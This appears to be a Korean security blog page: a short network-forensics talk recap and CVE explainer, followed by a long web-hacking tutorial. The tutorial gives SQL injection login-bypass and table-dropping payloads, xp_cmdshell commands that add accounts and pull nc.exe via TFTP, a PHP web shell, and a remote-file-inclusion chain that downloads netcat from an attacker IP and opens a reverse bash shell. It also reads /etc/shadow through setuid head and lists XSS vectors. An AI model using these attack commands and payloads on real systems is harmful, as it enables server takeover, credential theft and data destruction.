-u <srcport>,<destport> UDP 출발지,목적지 포트를 지정
-T <srcport>,<destport> TCP 출발지,목적지 포트를 지정

# od -Ax -tx1 tcpdpriv > in.txt
# text2pcap in.txt out.pcap
# text2pcap -T8888,9999 in.txt out.pcap
# tcpdump -r out.pcap
reading from file out.pcap, link-type EN10MB (Ethernet)
22:27:49.000000 IP 10.1.1.1.8888 > 10.2.2.2.9999: Flags [], seq 0:576, win 8192, length 576

http://www.packetinside.com/search/label/text2pcap

자, 그리고 CaseStudy 에서 언급한 것들을 한번 살펴보죠.
UDP Flooding 에서 보여준 패킷파일에서 이미지 데이터 추출은 foremost 를
이용했습니다.

-i 로 로우파일을 지정하고 -o 로 출력될 경로를 지정합니다. 주의할 점은
입력데이터가 패킷 파일이 아니라, 스크림한 데이터에서 저장옵션에 보면
RAW 형태로 저장하는 것이 있습니다. RAW 형태로 저장된 파일을 뜻합니다.

만약, 입력파일이 패킷 데이터면 Tcpxtract 를 이용해 볼 수 있습니다.

네트워크 패킷 캡쳐 파일에서 파일 추출하기 (using Tcpxtract)


악성코드 트래픽 분석에서 Slammer 는 패킷파일에서 바이너리 데이터 부분만을
떼어내어 해당 코드를 디스어셈블해서 본 것입니다.
와이어샤크에서 데이터 부분에서 오른쪽을 클릭해 보면 Export 를 할 수 있는 부분이
있습니다. 데이터를 Export 하고 objdump 를 이용해 -D 로 디스어셈블 하면 됩니다.
이것은 추후 세부적인 내용을 다시 설명드릴까 합니다.

마지막으로 Suspicious Payload Analysis 에서
마찬가지로 의심 데이터를 추출하고 Ollydbg 로 분석을 한 것입니다. 해당 데이터는
취약점을 이용한 공격코드에서 전송된 '쉘 코드' 부분만을 떼어내어
바이너리 형태로 만들고, Olly 에서 로드하여 스텝별 분석을 한 것입니다. 추출한
데이터는 아래와 같은 형태로 컴파일을 한 것입니다.

char sc[] = {
0xeb, 0x03, 0x5d, 0xeb, 0x05, 0xe8, 0xf8, 0xff
0xff, .................................. };

int main() {
        int *ret;
        ret = (int *)&ret + 2;
        (*ret) = (int)sc;
}

이 부분 또한 궁금해 하실 부분 중에 하나이어서, Slammer 와 함께 세부적으로
다시 설명드릴 예정입니다.

발표 및 시연은 모두 리눅스 기반으로 진행되었습니다. 그래서 Ollydbg 가
리눅스에서 동작하는 걸 보고 의아해 하신 분도 있습니다. Ollydbg 는
WINE 을 통해 실행시킨 것입니다. 설치된 리눅스는 BackTrack5 입니다.
많은 것들이 이미 설치되어 있어서 시연하기에 편해
선택한 것입니다. 리눅스에서 발표에 이용한 유용한 도구도 시간이 나는대로
공유해 드릴 예정입니다.

제가 마지막 페이지에서 사용한 문구가 다음과 같습니다.

Share What you know, Learn What you don't
From PacketInside.com

큰 의미는 '정보의 공유' 입니다. 리눅스를 선택한 것도 오픈소스를 통해서
얼마나 많은 것들을 할 수 있는지 보여드리려 했던 것이고,
정보도 공개할 수 있는 수준의 범위내에서는
블로그로 많이 포스팅하여
네트워크에 관심있는 많은 분들이
참고하실 수 있도록 하려고 합니다.

마지막으로 네트워크 포렌식이 모든 문제해결의 '열쇠'가 되지는 않습니다.
하지만 큰 방향을 결정하는 중요한 '열쇠'가 되기도 합니다.
이 점을 잊지마시고요,
제가 또 언젠가 여러분들과 만날기회가 있다면
더 많은 이야기를 나눠보고 싶네요. :-)

행사에 와 주셨던 모든 분,
그리고 재미있고 알차게 들었다고 해 주신 모든 분들
감사합니다.

항상 행복하세요.

[참고]
1. 개발자도 알아야 할 네트워크 포렌식 분석 기술, '안랩코어 2011' 컨퍼런스 (http://www.packetinside.com/2011/10/2011.html)

'Security' 카테고리의 다른 글

ASCII Codes in Hex, Decimal  (0) 2017.01.10
악성코드 자동실행 Registry  (0) 2017.01.08
CVE (Common Vulnerabilities and Exposures)  (0) 2017.01.08
[Linux] Web Hacking (Linux Server Security)  (0) 2017.01.08
Netcat  (0) 2017.01.08

CVE 는 Common Vulnerabilities and Exposures 의 약자로서 한마디로 각 취약성의 고유한 이름이다. 
CVE 를 사용하기 전에는 같은 취약성에 대해서 기관과 업체마다 나름대로 이름을 붙여 사용했다. 

예를 들면 같은 문제점에 대해서...
CERT에서는 CA-96.06.cgi_example_code,
CyberSafe에서는 Network: HTTP ? phf?Attack,
ISS에서는 http-cgi-phf,
AXENT에서는 phf CGI allows remote command execution,
Bugtraq에서는 PHF Attacks ?Fun and games for the whole family,
BindView에서는 #107 ? cgi-phf,
Cisco에서는 #3200 ?WWW phf attack,
IBM ERS에서는 http_escshellcmd,
L-3에서는 #180 HTTP Server CGI example code compromises http server
로 표현하다보니, 효율성도 떨어지고 통일성도 없었다.

그래서 생각해 낸 것이 한 취약성에 공통적인 한 이름만 붙이자는 것이었고
CVE는 바로 그 이름인 것이다. 

CVE는 다음과 같은 곳에서 사용된다.
- IDSes
- Assessment tools
- Vulnerability databases
- Academic research
- Incident Report

다음은 CVE 의 샘플이다.
- CVE-1999-0006 : Buffer overflow in qpopper
- CVE-1999-0067 : Shell metacharacters in phf
- CVE-1999-0344 : Windows NT debug-level access bug (a.k.a. Sechole)

상세 CVE 정보

취약성 이름(Name)CAN-2003-0016  
공개 날짜(Published Before)2003-02-07 00:00:00  
취약성 개요(Summary)Apache before 2.0.44, when running on unpatched Windows 9x and Me operating systems, allows remote attackers to cause a denial of service or execute arbitrary code via an HTTP request containing MS-DOS device names.  
위험도(Severity)상(High)  
공격 범위(Attack Range)원격(Remote)  
취약성 유형(Vulnerability Type)예외조건처리오류(Exceptional Condition Error)  
손실 유형(Loss Type)보안보호(Security Protection): 기타(other)  
취약한 시스템 요소 
참고 사이트 1:출처(Source): The Aims Group
제공 정보(Type): Patch
이름(Name): Apache 2.0.44 Released
http://marc.theaimsgroup.com/?l=apache-httpd-announce&m=104313442901017&w=2
참고 사이트 2:출처(Source): Security Focus
제공 정보(Type): General and Patch
이름(Name): bid 6659
http://online.securityfocus.com/bid/6659
참고 사이트 3:출처(Source): Security Focus
제공 정보(Type): General and Patch
이름(Name): bid 6662
http://online.securityfocus.com/bid/6662
취약한 소프트웨어 및 버전:
Apache Software Foundation, Apache, 2.0.36 
Apache Software Foundation, Apache, 2.0.37 
Apache Software Foundation, Apache, 2.0.38 
Apache Software Foundation, Apache, 2.0.39 
Apache Software Foundation, Apache, 2.0.40 
Apache Software Foundation, Apache, 2.0.41 
Apache Software Foundation, Apache, 2.0.42 
Apache Software Foundation, Apache, 2.0.43


1. Web Application Vulnerability


- 최초의 웹 페이지는 정적(static)이었다. 즉, 모든 사람들이 누군가에 의해 만들어진 똑 같은 페이지만을 볼 수가 있었다. 대표적인 웹 언어로 분량이 많지 않고 부담이 적은 HTML이 있다. HTML(Hyper Text Markup Language)은 단순하고 직설적이며 어려운 개념이 거의 포함되어 있지 않다.

- 현재의 웹 페이지들은 상호작용을 하며 동적 데이터를 갱신하고 복잡한 그래픽 화면에 필요한 동작들을 한다. 대표적인 예로 JSP, ASP, PHP등이 있다. 이러한 웹 페이지를 동적(dynamic) 웹 페이지라고 한다. 동적 웹 페이지는 사용자가 입력한 값에 따라서 서버에서 사용자에게 보여주는 페이지가 달라진다.

- OWASP(Open Web Application Security Project) http://www.owasp.org


2. SQL Injection

2.1 General SQL Injection

- SQL injection 은 웹 페이지를 통해서 입력하는 것처럼 SQL query/command를 삽입하기 위한 트릭이다.

- 기본적인 로그인 페이지에서 아이디와 패스워드를 입력하는 부분은 다음과 같다.

<form method=POST name=login action=login_ok.asp>
<input type=text name=id>
<input type=text name=pass>
</form>

- 우리가 입력하는 아이디와 비밀번호 값은 각각 id과 pass에 입력되어 login_ok.asp로 넘겨져 처리된다.

- login_ok.asp에는 우리가 입력한 값을 데이터베이스에서 비교하여 정상적인 사용자인지 확인을 하게 된다. 이 때 login_ok.asp 파일 내에 있는 SQL 구문의 기본적인 형태는 다음과 같다.

SELECT name FROM user WHERE id=’$id’ AND pass=’$pass’;

- 여기서 $id와 $pass는 우리가 입력한 아이디와 비밀번호 값이 들어가게 된다. 아이디에 test 비밀번호에 1234를 입력하면 다음과 같은 식이 성립하게 된다.

SELECT name FROM user WHERE id=’test’ AND pass=’1234’;

- 만약 아이디와 비밀번호 입력란에 정상적인 문자열이 아닌 특수문자가 들어간 문자열을 입력하면 전혀 다른 결과가 나오게 된다. 예를 들어 아이디 입력란에 ’(외따옴표) 만 입력하였을 경우login_ok.asp에서는 다음식을 가지고 결과를 처리하게 된다.

SELECT name FROM user WHERE id=’’’ AND pass=’’;

- 분명 에러가 발생한다. 먼저 외따옴표의 개수가 짝을 이루지 못하여 SQL 구문이 엉키게 된다. 사이트에 따라서 에러 구문을 보여주기도 하고 혹은 미리 지정된 에러 페이지가 보일 수도 있다. 현재 대부분의 사이트들은 자바스크립트를 같이 쓰기 때문에 비밀번호 부분에 값이 입력되지 않았으니 입력하라고 나온다.

- 이번에는 위의 SQL 구문에 아이디와 비밀번호 입력란에 다음과 같은 문자를 입력해보자.

$id = ‘ or 1=1 --
$pass = 1111 (아무런 값이나 상관없음)

- 위의 값을 입력하게 되면 다음과 같이 SQL 구문이 완성이 된다.

SELECT name FROM user WHERE id=’’ or 1=1 --’ AND pass=’1111’;

- SQL 구문은 참이 되므로 구문의 결과값인 user 테이블에서 일치하는 사용자의 이름(name)을 반환하게 된다. 만약 SQL 구문이 사용자 로그인에 관련된 구문이라면 정상적인 사용자로 로그인이 가능하게 된다. $id = admin’ or 1=1 -- 이라고 입력하게 되면 현재 데이터베이스에 admin이라는 사용자가 있다면 admin 사용자로 로그인이 되게 된다. -- 는 MS-SQL에서 사용되는 주석처리 구문이다. 따라서 위의 구문은 -- 이후의 구문은 무시되고 1=1 이라는 식의 참과 id=’’ 의 거짓이 or 연산을 하여 참이 되므로 정상적으로 로그인이 가능한 것이다. 그리고 종종 -- 는 #으로 대체할 수가 있다. 현재 다수의 웹 서버 응용프로그램들은 클라이언트에 의해서 입력된 값을 검사하지 않고 SQL을 구문을 수행하기 때문에 이와 같은 취약점이 존재하게 된다. (Input Validation)

- SQL 구문에서 -- 을 주석으로 처리하지 않을 때의 상황을 생각해보자. 이런 경우에는 아이디 입력란과 비밀번호 입력란에 모두 SQL 구문을 혼돈시키는 문자열을 입력해야 한다. 다음과 같이 입력해 보자.

$id = ‘ or ‘1’=’1
$pass = ‘ or ‘1’=’1

SELECT name FROM user WHERE id=’’ or ‘1’=’1’ AND pass=’’ or ‘1’=’1’;

- 위와 마찬가지로 이번에도 참이 된다. ‘1’=’1’이라는 식이 참이 되고 or 연산을 하기 때문에 결과적으로 참이 되는 것이다.

- 첫번째 주석처리 구문을 삽입하는 방법은 주로 ASP와 MS-SQL되어 있는 사이트에서 많이 사용되고 두번째 방법은 PHP로 되어 있는 사이트에서 많이 사용되고 ASP와 MS-SQL로 되어 있는 사이트에서도 사용된다. 

- 다음은 위의 두 가지 방법 이외에 우리가 입력해 볼 수 있는 다른 방법들이다.

“ or 1=1 --
or 1=1 --
‘” or “1”=”1
‘) or (‘1’=’1

- 이번에는 약간 다른 상황을 생각해보자. 아이디와 비밀번호 입력란에 특수문자를 쓸 수 없도록 되어 있을 경우 HTML 폼에 입력하지 않고 URL을 우리가 원하는 값으로 완성시켜 서버에게 전송하게 할 수 있다. URL encoding을 이용하여 특수문자들을 URL 형태에 맞게 변환하여 보낼 수 있다.

- 다음은 예제에서 사용될 login.cgi 파일 중 아이디와 비밀번호를 검사하는 부분이다.

URL = HTTP.GetFromUser()
user_id = URL.parameter(“user_id”)
password = URL.parameter(“password”)
query = “SELECT name FROM userlist WHERE uid=’” + user_id + “’ AND pwd=’” + password + “’;”
database.connect()
result = database.execute(query)
if result
HTTP.Send(“Login successful. Welcome, ” + result)
IsAuthenticated = true
else
HTTP.Send(“User ID or password is incorrect.”)
IsAuthenticated = false
end if
if IsAuthenticated
HTTP.Send(MainMenu)
end if

- 이 파일에게 다음과 같은 URL을 보낼 때는 다음과 같이 보낼 수 있다.

https://website/login.cgi?user_id=dcooper&password=’%20OR%20’’%3d’

- 웹 브라우저 위와 같이 입력하게 되면 login.cgi라는 파일에게 id=dcooper과 password=’%20OR%20’’%3d’ 라는 값을 전달하게 된다. 이 URL이 서버에게 전달되게 되면 서버는 SQL 쿼리문에서 다음과 같이 처리를 한다.

SELECT name FROM userlist WHERE uid=’dcooper’ AND pwd=’’ OR ‘’=’’;

- 이 쿼리문은 userlist 테이블에서 사용자가 dcooper인 레코드에서 name 값을 가져와서 반환하게 된다. 이렇게 URL을 이용하여 입력되어서는 안되는 문자들을 서버에게 전송할 수도 있다. 

- 위와 유사하게 사용될 수 있는 URL들을 몇 개 더 보면

https://website/login.cgi?user_id=dcooper&password=foo%20OR%201%3d1
SELECT name FROM userlist WHERE uid=dcooper AND pwd=foo OR 1=1;

https://website/login.cgi?user_id=’%20OR%20’’%3d’&password=’%20OR%20’’%3d’
SELECT name FROM userlist WHERE uid=’’ OR ‘’=‘’ AND pwd=’’ OR ‘’=‘’;

https://website/login.cgi?user_id=%25’;--
SELECT name FROM userlist WHERE uid=’%’;--’ AND pwd=’’;

%20은 공백을 뜻하고 %3d는 = 을 뜻한다.
%25는 %를 뜻한다.


2.2 Reverse-Engineering

- 로그인 페이지에서 아이디와 비밀번호 입력시 8글자 이상을 입력하지 못하도록 코드를 작성할 수가 있다. 이러한 경우 우리가 이전에 사용했던 ‘ or ‘1’=’1이나 ‘ or 1=1 -- 의 방법은 8글자를 넘어가므로 공격이 불가능하다. 하지만 완전히 불가능한 것은 아니다. HTML 태그는 웹 페이지 소스보기를 하면 보이므로 이를 수정하여 8글자 이상을 입력하는 것이 가능하다.

- 다음은 입력 폼에 최대 8글자만 입력이 가능하도록 하게 하는 HTML 폼이다.

<form method=post name=loginform action=loginok.asp>
...
<input type=”text” name=”userid” size=8 maxlength=8 class=”input_basic”>
<input type=”passwd” name=”userpass” size=8 maxlength=8 class=”input_basic”>

- 위와 같이 8글자 이상은 입력이 안된다. maxlength가 8이기 때문에 사용자가 입력할 때 8글자가 최고이다. 우리는 이 maxlength 부분은 충분히 늘려준 다음 자신의 컴퓨터에 저장을 한다. 로컬 컴퓨터로 저장하는 이유는 우리가 서버의 내용을 직접 수정하지 못하기 때문이다. 그리고 한가지 더 수정해야 하는 부분은 action 부분이다. 이 input 태그의 값을 전달해주는 파일이 action에 지정된 파일이다. action 부분은 form 태그에 속한 값으로서 form 태그는 input 태그보다 먼저 나온다.

- 개발자마다 다르겠지만 보통 action에 지정된 파일은 상대경로를 쓴다. 이 파일을 로컬 컴퓨터에 저장을 하게되면 action에 지정된 파일은 상대경로가 아닌 URL을 포함한 절대경로를 써주어야만 우리가 입력한 값을 정상적으로 전달할 수 있다.

- 위의 form태그와 input 태그는 다음과 같이 수정하여 로컬 컴퓨터에 login.html로 저장을 하자.

<form method=post name=loginform action=http://www.domain.com/loginok.asp>
...
<input type=”text” name=”userid” size=20 maxlength=20 class=”input_basic”>
<input type=”passwd” name=”userpass” size=20 maxlength=20 class=”input_basic”>

- 이렇게 해서 우리가 원하는 문자열을 입력할 수가 있다. 만약 위처럼 ‘ or 1=1 -- 로 입력을 한 이유는 이 사이트가 ASP로 되어 있기 때문이고 이 방법이 안될 경우 ‘ or ‘1’=’1로 입력을 해보아도 된다. 이 방법은 리버스 엔지니어링 중 가장 간단한 방법이다.

- ‘ 을 입력하였을 경우 화면에 보여지는 에러 메시지를 보고 공격을 하는 리버스 엔지니어링은 다음가 같다. 

- 먼저 아이디와 비밀번호 입력란에 위에서 배웠던 방법을 사용하여도 되고 혹은 외따옴표(‘)만 입력해보아도 된다. 리버스 엔지니어링의 핵심은 정상적이지 않은 입력을 통해 화면에 보여지는 에러 메시지를 보고 정상적인 것처럼 보이는 입력을 찾아내는 것이다. 따라서 이 방법은 여러 번의 시행착오를 거쳐야 하는 상황이 발생할 수 있고 모든 방법을 모두 적용시켜도 공격이 이루어지지 않을 수도 있다.

- ‘ or 1=1 -- 와 1111을 입력했을 때 나타나는 에러 메시지에서 유심히 보아야 할 부분은 다음과 같다.

'id = '' or 1=1 --' and pwd = '1111''

- 이 부분에서 에러가 발생하였다고 나와있다. 이 문장에서 우리가 입력했던 문장을 변수로 대치시키면 SQL 쿼리문을 도출해낼 수가 있다. 쿼리문은 다음과 같다.

SELECT user FROM userlist WHERE ‘id=’$id’ and pwd=’$pass’’

- 지금까지 보았던 구문과 약간 다른 점이 있다 조건이 들어가는 부분을 ‘ ‘ 로 한번 더 묶었다는 것을 알 수가 있다. 그리고 에러 메시지에서 보면 외따옴표의 개수가 짝이 맞지가 않다. 이것은 우리가 입력하는 문자열에 외따옴표가 하나 더 들어가거나 덜 들어가게 해서 짝을 맞추어 주어야 한다는 것을 의미한다. 그리고 에러 메시지에서 -- 이 주석처리가 되지 않고 있음을 알 수가 있다. 따라서 ‘ or 1=1 -- 방법은 공격이 되지 않을 것이라는 것을 추측할 수가 있다.

- ex)

select userName from users where userName='' or users.userName like 'a%' --' and userPass=''
Username: ' or 1=1; drop table users; --
Password: [Anything]
Username: '; shutdown with nowait; --
Password: [Anything]
select userName from users where userName=''; exec master..xp_cmdshell 'iisreset'; --' and userPass=''

- admin 계정으로 들어가기 위해서 [ table명.field명 like ‘a%’ -- ] 을 입력하는 방법도 있다.
그 외에 테이블 삭제, DB 종료, 시스템 명령 실행등의 동작이 가능하기도 하다.


2.3 MS MSQL Stored Procedures

- MS SQL 서버에는 SQL서버 관리의 편의를 위해 설치된 몇몇 프로시저 들이 있는데 특히 xp_cmdshell은 관리자 권한으로 명령이 실행되므로 사용자 추가 등의 시스템 명령이 실행 가능한 프로시저이다.
만약 의견을 적을 수 있는 게시판을 이용해서 다음과 같이 입력할 수 있다.

‘ exec master..xp_cmdshell ‘net user newusername newuserpassword /ADD’--

- 이 입력이 들어가는 쿼리문은 다음과 같다.

SELECT * from MyTable WHERE someText=’’ exec master..xp_cmdshell ‘net user newusername newuserpassword /ADD’--‘

- 이는 URL을 이용해서도 가능하다. 위의 명령어는 xp_cmdshell 명령어를 이용하여 NT/2000 윈도우의 cmd.exe를 웹 서버 루트로 복사를 하는 내용이다.

http://10.10.10.10/showtable.asp?ID=3;%20EXEC+master..xp_cmdshell+ ‘copy+\winnt\system32\cmd.exe+\inetpub\scripts’

- MS SQL의 이 취약점을 이용하여 공격하는 하나의 시나리오를 만들어 보면


- 위와 같이 IIS 5.0에 MS-SQL을 탑재하고 있는 Windows 2000 Server가 공격 대상이다.
이 공격에서 우리는 웹 브라우저만을 가지고 서버의 관리자 권한을 획득할 것이다. 위에 보이는 URL이 우리가 사용할 URL 중에서 공통적인 부분이다.

- 먼저 공격대상에서 netcat이라는 통신프로그램을 전송할 것이다. netcat을 전송하기 위해서 서버에서 TFTP를 실행시켜 공격자가 인증 없이 서버에 파일을 보낼 수 있게 한다.
netcat이 위치할 곳은 C:\ 이고 netcat의 업로드가 완료되면 cmd.exe 파일을 IIS의 DocumentRoot에 복사한다.

- 그리고 netcat을 이용하여 특정 포트를 연 다음 공격자는 netcat을 이용하여 접속하게 되면 command 제어권을 얻을 수 있다. 이 때 방화벽에 의해 특정 포트 이외에 모두 막혀 있을 경우 공격자가 netcat을 listen 상태로 두고 공격대상에 공격자에게 연결을 하게 만들면 된다.

http://10.10.10.10/test.asp?id=3;%20EXEC master..xp_cmdshell ‘tftp –i
192.168.0.8 GET nc.exe C:\nc.exe
http://10.10.10.10/test.asp?id=3;%20EXEC master..xp_cmdshell ‘copy
\winnt\system32\cmd.exe /inetpub/scripts’
http://10.10.10.10/test.asp?id=3;%20EXEC master..xp_cmdshell ‘c:\nc.exe
–l –p 6666 –e cmd.exe
Hacker # nc 10.10.10.10 6666

- 마지막으로 maxlength가 아닌 자바 스크립트로 문자열을 체크하는 경우가 있다. 이런 경우 두 가지로 부류할 수 있는데 하나는 서버 측에서 문자열을 체크하는 것이고 다른 하나는 클라이언트 측에서 문자열을 체크하는 것이다. 클라이언트 측에서 문자열을 검사하게 되면 공격자가 문자열 검사 스크립트를 제외시킬 수 있고 그렇게 되면 결과적으로 문자열을 검사하지 않고 sql injection 공격을 할 수 있게 되는 것이다. 다음은 HTML 코드 안에 속해있는 로그인 스크립트 부분이다.

function login()
{
var form = document.login;
if (form.mem_id.value == "")
{
alert("ID를 입력해 주십시오");
form.mem_id.focus();
return ;
}
if (form.mem_pwd.value == "")
{
alert("비밀번호를 입력해 주십시요");
form.mem_pwd.focus();
return ;
}
var id_check = "";
var temp6 = "";
id_check = "1234567890abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ"; // 문자열 체크를 위한 문자열 나열
if ( form.mem_id.value ) { // 문자열 체크를 위한 코드
for ( var i = 0 ; i < form.mem_id.value.length ; i++ ) {
temp6 = form.mem_id.value.substring(i, i+1);
if ( id_check.indexOf(temp6) == -1 )
{
alert("아이디에는 숫자와 영문자 이외에는 \n\n사용하실 수 없습니다.");
form.mem_id.value = "";
form.mem_id.focus();
return;
}
}
}
form.submit();
}

- 여기에서 

var id_check = "";
var temp6 = "";
id_check = "1234567890abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ"; // 문자열 체크를 위한 문자열 나열
if ( form.mem_id.value ) { // 문자열 체크를 위한 코드
for ( var i = 0 ; i < form.mem_id.value.length ; i++ ) {
temp6 = form.mem_id.value.substring(i, i+1);
if ( id_check.indexOf(temp6) == -1 )
{
alert("아이디에는 숫자와 영문자 이외에는 \n\n사용하실 수 없습니다.");
form.mem_id.value = "";
form.mem_id.focus();
return;
}
}
}

- 부분이 문자열을 검사하는 부분이다. 아이디와 비밀번호의 입력값 검사를 할 때 지정된 문자열이 아니면 잘못된 문자열이라고 경고를 알리게 된다. 이 부분을 삭제하게 되면 문자열 검사를 하지 않고 공격자가 입력하는 값을 그대로 받아들이게 된다.

- 위 부분을 삭제하고 마찬가지로 로컬 컴퓨터로 저장해서 실해하게 되면 문자열을 검사하지 않게 된다.
물론 이 때 form 태그에 action 부분은 절대경로를 넣어주어야지만 정상적으로 값을 전달할 수 있다.


3. File Injection

- 내부 명령어를 실행하는 코드가 있는 파일을 생성하고 공격하고자 하는 홈페이지의 자료실 등에 파일을 업로드한 후 업로드한 파일의 절대경로를 찾아내어 파일을 실행시킨다. (.php .php3 .inc .asp .pl .cgi)

- 다음은 WEB 상에서 쉘과 같은 기능을 할 수 있는 PHP 코드이다.

<?
$command=str_replace("\\","",$command);
$result=`$command`; $info = ereg_replace("\n","","[".`whoami`."@".`pwd`."]");
echo "<hr><form action=$PHP_SELF method=post>
$info <input type=text name=command value='$command' size=40>
<input type=submit value='go'></form><hr>\n
<xmp>\n$result\n</xmp><hr>";
?>


4. Query를 이용한 내부명령어 실행

- 대부분의 컴퓨터용 언어에는 시스템내의 운영체제상의 명령어를 손쉽게 실행시킬 수 있는 함수를 제공한다. Server Side Include와 같은 언어도 마찬가지이다.
이중 PHP에서는 passthru, system 혹은 php파일을 곧장 불러 실행할 수 있는 fpassthru 함수가 제공된다.

- 만약 아래와 같은 구문이 있다면 어떤 일이 벌어질까?

<? passthru(date); ?>

- 해당 페이지를 브라우저로 열어보면 유닉스의 date 명령에 대한 실행결과가 나타남을 확인할 수 있다.

- ex)

1. 먼저 웹 서버가 실행되어 있는지 확인 한다.

# ps –ef | grep http

2. 웹 서버가 실행되어 있지 않으면 웹 서버 데몬을 실행시킨다.

# /etc/rc.d/init.d/httpd start

3. head 명령을 실행하는 test.php 파일을 생성한다.

# cd /var/www/html
# vi test.php
<html>
<body>
<h1>TEST2 PAGE</h1>
<? passthru(‘head /etc/shadow’); ?>
</body></html>
# chmod 4755 /usr/bin/head

4. 브라우저를 열어 결과 페이지를 확인해 본다.

http://your_ip/test.php

5. 브라우저를 통해 현재 접속되어 있는 사용자의 아이디가 무엇인지 확인해 본다.
(passthru 함수부분 수정)


5. Reverse Telnet



- 공격자에 의해 원격지에서 파일의 명령이 실행되는 가장 큰 이유는 개발자들의 편의만을 생각한 개발에 있다. 개발 당시 좀 더 빨리 좀 더 편하게 하기 위해 보안상 문제가 되는 부분을 소홀히 지나갔기 때문에 이런 공격이 이루어지게 되는 것이다.

- 예를 들어 PHP 코드 중에 다음과 같은 구문이 있다면 원격지에서 파일의 명령 실행이 가능하다.

<? include $file; ?>
<? passthru($cmd); ?>

- 첫 번째의 경우 우리가 흔히 볼 수 있는 코드이고 두 번째 코드는 흔히 볼 수 없는 코드이다. passthru의 경우 흔히 볼 수는 없지만 공격자가 임의적으로 이런 파일을 만들어 게시판 같은 곳에 업로드를 하게 되면 $cmd에 의해서 공격자가 원하는 명령을 실행하고 그에 대한 결과를 받아 볼 수 있다.

- 공격이 가능한 하나의 시나리오를 보면

- 먼저 공격대상의 게시판 소스코드를 획득한 후 코드를 분석하던 중 include $file 이라는 부분을 찾아냈다. 이 코드가 포함되어 있는 파일이 login.php 라고 하고 공격자는 test.php라는 파일을 아래와 같이 만든다.

# vi test.php
<? passthru($cmd); ?>

- 그리고 웹 브라우저에서 다음과 같은 URL을 입력한다.

http://10.1.1.9/bbs/login.php?file=http://61.240.10.9/test.php?cmd=ls -al

- 이렇게 해서 화면에 유닉스 명령인 ls -al의 결과가 보인다면 이 서버는 원격지 파일의 명령 실행 공격에 대해 취약하다는 것을 알 수 있다.

- 원하는 명령에 대한 결과를 보고자 하는 경우 매번 브라우저에 입력을 해야 한다. 그렇게 되면 번거럽기도 하겠지만 웹 서버의 access_log에 우리가 입력했던 URL이 모두 남게 된다.

- 그래서 이번에는 netcat 이라는 프로그램을 이용하여 공격대상의 터미널을 리버스로 공격자에게 열어주는 방법을 사용해보면 (공격대상과 공격자 모두 리눅스 시스템을 사용하고 있다고 가정)

[terminal]
# nc -l -p 8888

[web browser]
1. http://10.1.1.9/bbs/login.php?file=http://61.240.10.9/test.php?cmd=cd /tmp
2. http://10.1.1.9/bbs/login.php?file=http://61.240.10.9/test.php?cmd=wget http://61.240.10.9/nc
3. http://10.1.1.9/bbs/login.php?file=http://61.240.10.9/test.php?cmd=chmod 777 /tmp/nc
4. http://10.1.1.9/bbs/login.php?file=http://61.240.10.9/test.php?cmd=/tmp/nc -e /bin/bash 61.240.10.9 8888

- netcat이 정상적으로 실행되었다면 공격자의 터미널 창에 연결이 되었음을 나타내는 메시지가 보일 것이다. 그런데 만약 공격대상 서버에 wget 이라는 프로그램이 없다면 위와 같은 공격은 되지 않을 것이다. 이 경우 ftp를 이용하여 공격대상 서버가 공격자의 서버에 접속하여 netcat을 다운로드 하도록 할 수가 있다. ftp에 대한 명령어들이 들어 있는 파일을 생성해서 공격대상의 서버에서 실행하면 받을 수 있다.

[공격자]
# cat > ftpdown.txt
open 61.240.10.9 // nc를 다운 받을 ftp 사이트 주소
user hacker hacker // id & password
bin // 바이너리 모드로 전환
get nc //nc 다운로드
quit // 접속종료
^D

# nc -l -p 8888

[공격대상]
# ftp -n < ftpdown.txt // ftpdown.txt에 있는 내용을 한 라인씩 읽어서 ftp 실행

- 그러나 이 경우 ftpdown.txt라는 파일을 공격대상 서버에 업로드 하는 일도 힘들 경우 웹 브라우저를 통해 위의 과정을 모두 처리할 수 있다.

http://10.1.1.9/bbs/login.php?file=http://61.240.10.9/test.php?cmd=cd /tmp
http://10.1.1.9/bbs/login.php?file=http://61.240.10.9/test.php?cmd=echo open 61.240.10.9 > /tmp/ftpdown.txt
http://10.1.1.9/bbs/login.php?file=http://61.240.10.9/test.php?cmd=echo user hacker hacker >> /tmp/ftpdown.txt
http://10.1.1.9/bbs/login.php?file=http://61.240.10.9/test.php?cmd=echo bin >> /tmp/ftpdown.txt
http://10.1.1.9/bbs/login.php?file=http://61.240.10.9/test.php?cmd=echo get nc >> /tmp/ftpdown.txt
http://10.1.1.9/bbs/login.php?file=http://61.240.10.9/test.php?cmd=echo quit >> /tmp/ftpdown.txt
http://10.1.1.9/bbs/login.php?file=http://61.240.10.9/test.php?cmd=cd /tmp; ftp -n < /tmp/ftpdown.txt
http://10.1.1.9/bbs/login.php?file=http://61.240.10.9/test.php?cmd=chmod 777 /tmp/nc; /tmp/nc -e /bin/bash 61.240.10.9 8888

- ftp라는 명령은 대부분의 서버에서 실행이 가능하므로 위의 공격은 성공적으로 이루어지지만 웹 서버의 access_log나 error_log에 로그가 많이 남기 때문에 위험이 따른다.


6. Cross-Site Scripting(XSS)



- XSS라고 불리우는 Cross Site Scripting은 공격 대상을 서버에서 개인 사용자로 만드는데 가장 큰 역할을 하였다. 웹 서버는 단지 중간 매개체 역할을 할 뿐이다.

- 공격자들은 웹 어플리케이션을 이용하여 다른 사용자에게 자바 스크립트 같은 악성 코드를 보내고 공격 대상자가 이 코드를 읽었을 때 이 사용자의 정보를 공격자에게 보내지게 된다.

- 공격자는 공격대상자에게 악성코드가 담긴 이메일을 보내거나 특정 사이트의 게시판에 악성코드를 추가하여 게시물을 작성하여 다른 사용자들이 글을 읽기만 하여도 코드가 실행되게 하기도 한다. 심지어는 공격자가 직접 사이트를 구축하기도 한다.

- 이런 공격이 공격자의 의도대로 이루어지게 되면 사용자들의 계정 정보를 하이재킹하여 사용자 정보를 수정하거나 쿠키를 조작하여 개인정보를 수정하기도 한다. 또는 이 공격을 통해 획득된 다른 사용자의 계정을 도용하여 스팸메일을 보내기도 한다. 이런 공격이 이루어지게 하는 코드들로는 JavaScript, VBScript, ActiveX, Flash등이 있다.

- 웹 브라우저에 다음과 같이 입력해 보면.

javascript:document.cookie;

- 아이디와 패스워드 뿐만 아니라 쿠키 정보를 가지고 인증을 하기 때문에 쿠키가 악의적인 사용자의 손에 들어가게 된다면 그 악의적인 사용자는 다른 사용자인 것처럼 접속이 가능해진다.

- XSS 코드는 다음과 같이 사용할 수 있다.

<a href="javascript#[code]">
<div onmouseover="[code]">
<img src="javascript:[code]">
